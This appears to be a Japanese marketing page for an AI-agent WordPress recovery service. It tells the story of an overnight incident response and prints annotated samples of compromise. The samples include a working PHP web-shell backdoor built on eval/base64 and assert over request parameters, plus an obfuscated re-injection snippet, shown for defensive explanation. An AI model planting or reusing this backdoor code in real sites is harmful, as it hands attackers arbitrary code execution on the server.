「サイトが転送される」一報、深夜2時。
顧客からSlackに一行: 『ログインできません、変なサイトに飛びます』。WATRIXのインシデントコマンダー(CMD)が起動、24体のAIエージェントが順次オンラインに。
ある夜に動いた WordPress 復旧の一件を、4章のドキュメンタリーで追跡します。 続けて、現場で実検出した3つのサンプル(ファイル系・テーマ系・DB 系)を、 実際の検出ロジックと注釈付きで公開します。
※ 守秘義務契約のため、サイト名・業種・URL は非公開とさせていただいています。
Photo: Bernd Dittrich / Unsplash
※ 本ケースは特定事例の実績です。所要時間はサイト規模・侵害深度・サーバ環境により大きく変動します。守秘義務契約のためサイト名・業種・URLは非公開とさせていただいています。
これは、ある夜に動いた一件のフィールドレポートです。 国内主要復旧業者5社の公表値の平均が「数日〜1週間」と言われる中で(当社調べ・2026年5月時点)、 なぜこの時間で終わったのか。 の4つの章に分けて、その夜の動きを追跡します。

ある夜、午前2時。
Slackに「ログインできません」の一行が届く。
顧客からSlackに一行: 『ログインできません、変なサイトに飛びます』。WATRIXのインシデントコマンダー(CMD)が起動、24体のAIエージェントが順次オンラインに。
で攻撃元IP帯をブロック、wp-loginを一時的にIP制限、全ユーザーセッション破棄、WordPress SECRET KEY全更新。攻撃者の足場を1つずつ切っていく。
不正PHP3ファイル、不正DB管理者2名、不正wp_options 1件をすべて特定し除去。同FTPアカウント配下の他サイトにも同じ侵害が伝播していないか、チェック。
脆弱なプラグインをアップデート、WAFルールを追加、二要素認証を全管理者に設定。同時に、レポート(PDF)を作成(侵害経路・影響範囲・対応工程・再発防止策・タイムライン)し、Slackと共有リンクで納品。
朝、出社したらサイトは普通に動いていて、SlackにフォレンジックレポートのPDFが届いていた。
何が起きたのかも、何をされたのかも、ぜんぶ分かった。
— Day 2 朝、顧客サイト管理者の証言
他社で復旧が終わったあと、WP-AIレスキューにセカンドオピニオンを依頼すると、 こういう の見落とし が見つかることがあります。 WordPress の侵害現場で AI エージェントが実際に検出した、3つの典型サンプルです。

本サンプルは演習環境で実検出されたもの。アクセスログを精査しないと、設置と実行が一致せず見落とされる。
<?php
/* lk9d8f.php — 一見、単なる空ファイル。
実態は、攻撃者が任意のPHPコードを実行できるバックドア。 */
if (isset($_REQUEST["c"])) {
@eval(base64_decode($_REQUEST["c"]));
}
//↑ この3行で、サイト全体が攻撃者のものになる。「ファイル名は変えられない、中身だけ汚染」型。テーマ更新で消すと管理画面ごと壊れるため、行範囲特定が必須。
// — 末尾に静かに追記される、難読化された再注入トリガー —
$_HK = "Z3ppbmZsYXRl"; // = "gzinflate"
@${$_HK = base64_decode($_HK)}; // 動的関数解決
if (isset($_GET["x"]) && $_GET["x"] === "ping") {
@assert($_POST["p"] ?? "true"); // 任意コード実行
}ファイル系のスキャンだけでは絶対に見つからない。DBクエリでの直接照合が必要。
-- DB上の設定値が、ある日こうなっている。
SELECT option_name, option_value
FROM wp_options
WHERE option_name IN ('siteurl', 'home');
-- option_value がこっそり外部ドメインに書き換わると、
-- ログイン画面まで攻撃者制御サーバへリダイレクトされる。WordPress への侵害は、「気付かれにくい場所」に潜みます。
人手で1ファイルずつ目視している限り、見落としは生まれやすくなります。 24体の AI エージェントが 同時並列で 全ファイル・全 DB レコード・全アクセスログを照合し、 「この1行だけ怪しい」を徹底的に拾い上げる——これが WP-AIレスキューのアプローチです。